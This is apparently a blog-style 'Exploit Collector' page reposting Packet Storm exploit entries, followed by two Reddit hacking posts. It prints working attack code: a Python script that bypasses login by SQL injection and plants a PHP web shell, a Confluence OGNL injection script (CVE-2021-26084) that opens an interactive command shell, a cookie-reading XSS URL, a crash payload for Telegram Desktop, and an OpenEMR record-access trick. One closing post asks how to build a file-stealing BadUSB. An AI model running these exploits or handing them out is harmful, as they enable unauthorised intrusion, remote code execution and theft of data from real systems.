Exploit Collector
HiveNightmare AKA SeriousSAM

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Whitepaper called HiveNightmare AKA SeriousSAM. It details an overview of CVE-2021-36934 and provides exploitation details.

MD5 | c4e2761c221ef8324193337253239052

Download
Source:packetstormsecurity.com

Exploit Collector
Traffic Offense Management System 1.0 SQL Injection / Remote Code Execution

https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
Traffic Offense Management System version 1.0 remote code execution exploit that leverages a remote SQL vulnerability.

MD5 | b273c6fcac7e557727fa0ed573991ad0

Download
# Exploit Title: Traffic Offense Management System 1.0 - SQLi to Remote Code Execution (RCE) (Unauthenticated)
# Date: 19.08.2021
# Exploit Author: Tagoletta (Tağmaç)
# Software Link: https://www.sourcecodester.com/php/14909/online-traffic-offense-management-system-php-free-source-code.html
# Version: 1.0
# Tested on: Linux

import requests
import random
import string
import json
from bs4 import BeautifulSoup

url = input("TARGET = ")

if not url.startswith('http://') and not url.startswith('https://'):
url = "http://" + url
if not url.endswith('/'):
url = url + "/"

payload= "<?php"

let = string.ascii_lowercase
shellname = ''.join(random.choice(let) for i in range(15))
session = requests.session()

print("Login Bypass\n")

request_url = url + "/classes/Login.php?f=login"
post_data = {"username": "admin' or '1'='1'#", "password": ""}
bypassUser = session.post(request_url, data=post_data)
data = json.loads(bypassUser.text)
status = data["status"]
if status == "success":

print("Finding first driver\n")

getHTML = session.get(url + "admin/?page=drivers")
getHTMLParser = BeautifulSoup(getHTML.text, 'html.parser')
findFirstDriverID = getHTMLParser.find("a", {"class": "delete_data"}).get("data-id")

print("Found firs driver ID : " + findFirstDriverID)

print("\nFinding path")

findPath = session.get(url + "admin/?page=drivers/manage_driver&id="+findFirstDriverID+'\'')
findPath = findPath.text[findPath.text.index("Warning: ")+17:findPath.text.index(" on line ")]
findPath = findPath[findPath.index("")+3:len(findPath)]

parser = findPath.split('\\')
parser.pop()
findPath = ""
for find in parser:
findPath += find + "/"

print("\nFound Path : " + findPath)
shellPath = findPath[findPath.index("admin/"):len(findPath)]

SQLtoRCE = "' LIMIT 0,1 INTO OUTFILE '#PATH#' LINES TERMINATED BY #PAYLOAD# -- -"
SQLtoRCE = SQLtoRCE.replace("#PATH#",findPath+shellname+".php")
SQLtoRCE = SQLtoRCE.replace("#PAYLOAD#", "0x3"+payload.encode("utf-8").hex())

print("\n\nShell Uploading...")
session.get(url + "admin/?page=drivers/manage_driver&id="+findFirstDriverID+SQLtoRCE)

print("\nShell Path : " + url+shellPath+shellname+".php")
shellOutput = session.get(url+shellPath+shellname+".php?tago=whoami")
print("\n\nShell Output : "+shellOutput.text)

else:
print("No bypass user")


Source:packetstormsecurity.com

Exploit Collector
Fabasoft Cloud Website Cross Site Scripting

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
Fabasoft cloud website versions prior to 18.0.17 suffer from a cross site scripting vulnerability.

MD5 | f1d90e2405763062c49d32b35d118da7

Download
Class Input Validation Error
Remote Yes
Authentication is required Yes

Credit Ricardo Sanchez
Vulnerable Fabasoft cloud website before version 18.0.17

Fabasoft cloud website before version 18.0.17 is prone to a reflected
cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the value "ax" is not filter correctly:
Demo Request:

https://de.cloud.fabasoft.com/folio/fscasp/content/bin/fscvext.dll?ax=%3Cscript%3Ealert(document.cookie);%3C/script%3E

Source:packetstormsecurity.com

Exploit Collector
Confluence Server 7.12.4 OGNL Injection Remote Code Execution

https://2.bp.blogspot.com/-9-swdJydXNw/WWlu-Z7JktI/AAAAAAAAIJ0/CxXmre-Va7QW9KRwpgdSNcn8lp40qwLtQCLcBGAs/s1600/h117.png
Confluence Server version 7.12.4 unauthenticated OGNL injection remote code execution exploit.

MD5 | 0340434a86c779c9694e3699eb42446f

Download
# Exploit Title: Confluence Server 7.12.4 - 'OGNL injection' Remote Code Execution (RCE) (Unauthenticated)
# Date: 01/09/2021
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.12.x versions before 7.12.5
# Tested on: Linux Distros
# CVE : CVE-2021-26084

#!/usr/bin/python3

# References:
# https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
# https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md

import requests
from bs4 import BeautifulSoup
import optparse

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://confluencexxx.com")
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /pages/createpage-entervariables.action?SpaceKey=x")

options, args = parser.parse_args()
session = requests.Session()

url_vuln = options.url
endpoint = options.path

if not options.url or not options.path:

print('[+] Specify an url target')
print('[+] Example usage: exploit.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x')
print('[+] Example help usage: exploit.py -h')
exit()
def banner():

print('---------------------------------------------------------------')
print('[-] Confluence Server Webwork OGNL injection')
print('[-] CVE-2021-26084')
print('[-] https://github.com/h3v0x')
print('--------------------------------------------------------------- \n')
def cmdExec():

while True:
cmd = input('> ')
xpl_url = url_vuln + endpoint
xpl_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Accept-Encoding": "gzip, deflate"}
xpl_data = {"queryString": "aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022"+cmd+"\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"}
rawHTML = session.post(xpl_url, headers=xpl_headers, data=xpl_data)

soup = BeautifulSoup(rawHTML.text, 'html.parser')
queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']
print(queryStringValue)
banner()
cmdExec()


Source:packetstormsecurity.com

Exploit Collector
Telegram Desktop 2.9.2 Denial Of Service

https://3.bp.blogspot.com/-Q0zmt52Iz_s/WWlvCi1SqRI/AAAAAAAAIKo/56GGQ_7zLBsvaLtYw9wmjI_Jb6z2oza2QCLcBGAs/s1600/h129.png
Telegram Desktop version 2.9.2 suffers from a denial of service vulnerability.

MD5 | 7f8147da0d652d6e710d1b391e19ff36

Download
# Exploit Title: Telegram Desktop 2.9.2 - Denial of Service (PoC)
# Exploit Author: Aryan Chehreghani
# Date: 2021-08-30
# Vendor Homepage: https://telegram.org
# Software Link: https://telegram.org/dl/desktop/win64
# Tested Version: 2.9.2 x64
# Tested on OS: Windows 10 Enterprise

# [ About App ]

#Telegram is a messaging app with a focus on speed and security, it’s super-fast, simple and free,
#You can use Telegram on all your devices at the same time — your messages sync seamlessly across any number of your phones, tablets or computers.
#Telegram has over 500 million monthly active users and is one of the 10 most downloaded apps in the world.
#With Telegram, you can send messages, photos, videos and files of any type (doc, zip, mp3, etc), as well as create groups for up to 200,000 people or channels for broadcasting to unlimited audiences.
#You can write to your phone contacts and find people by their usernames. As a result,
#Telegram is like SMS and email combined — and can take care of all your personal or business messaging needs,
#Telegram is support end-to-end encrypted voice and video calls, as well as voice chats in groups for thousands of participants.

# [ POC ]

# 1.Run the python script, it will create a new file "output.txt"
# 2.Run Telegram Desktop and go to "Saved Messages"
# 3.Copy the content of the file "output.txt"
# 4.Paste the content of dos.txt into the "Write a message..."
# 5.Crashed ;)

#!/usr/bin/env python
buffer = "\x41" * 9000000
try:
f=open("output.txt","w")
print("[!] Creating %s bytes DOS payload...." %len(buffer))
f.write(buffer)
f.close()
print("[!] File Created !")
except:
print("File cannot be created")


Source:packetstormsecurity.com

Exploit Collector
OpenEMR 6.0.0 Insecure Direct Object Reference

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png
OpenEMR version 6.0.0 suffers from an insecure direct object reference vulnerability.

MD5 | cfdad061a5f147865a0eb5338656760f

Download
# Exploit Title: Openemr 6.0.0 - Insecure direct object references
# Date: 31/8/2021
# Exploit Author: Allen Enosh Upputori
# Vendor Homepage: https://community.open-emr.org
# Version: 6.0.0
# Tested on: Linux
# CVE: 2021-40352

PoC: An attacker who has Physician Access can read messages with were sent to others members including admin messages the vulnerability exits in the print message feature = "pnotes_print.php?noteid=16" changing the "noteid=" to any other number will reveal the messages of everyone

https://github.com/allenenosh/CVE-2021-40352


Source:packetstormsecurity.com

hacking: security in practice
Cisco Equipment Useful In Ethical Hacking?

To summarize, I got my CCNA for a good foundation, and on my study journey I purchased a rack of 6 Cisco Devices (Catalyst 3750 Switches & 1841 Routers, 3 of each). But now I want to become a Pen Tester and I am working on Security + then probably onto CEH once I'm done.

I want to know, should I sell this Cisco hardware for some spare cash? Or would it be useful to keep and use for labs in my Pen Tester journey? I am planning on doing a Security lab with my PC with VM's to practice hacking on. I'm just not sure if this Cisco hardware is worth holding onto while I aim for Pen Tester in my future.

Any feedback will be greatly appreciated, thank you in advance.

submitted by /u/xkayzz
[link] [comments]

hacking: security in practice
A bad-usb but (hopefully) with a twist

Hello all!

​

I've been wondering for a while now if it's possible to create a script or code that you can plant inside a usb to turn into a bad usb which in turn when connected to a computer copies over or downloads all/some files, folders from a certain directory.

For example I connect said usb to a computer and it automatically downloads all files from a certain directory of choice.

​

Question is here ; is it possible but most importantly is it doable?

​

PS: If you couldn't tell I'm an absolute beginner and newb at coding,hacking ,and anything related so please go easy lol.

​

Thank you all in advance!

​

-TJ

submitted by /u/TheJinn2614
[link] [comments]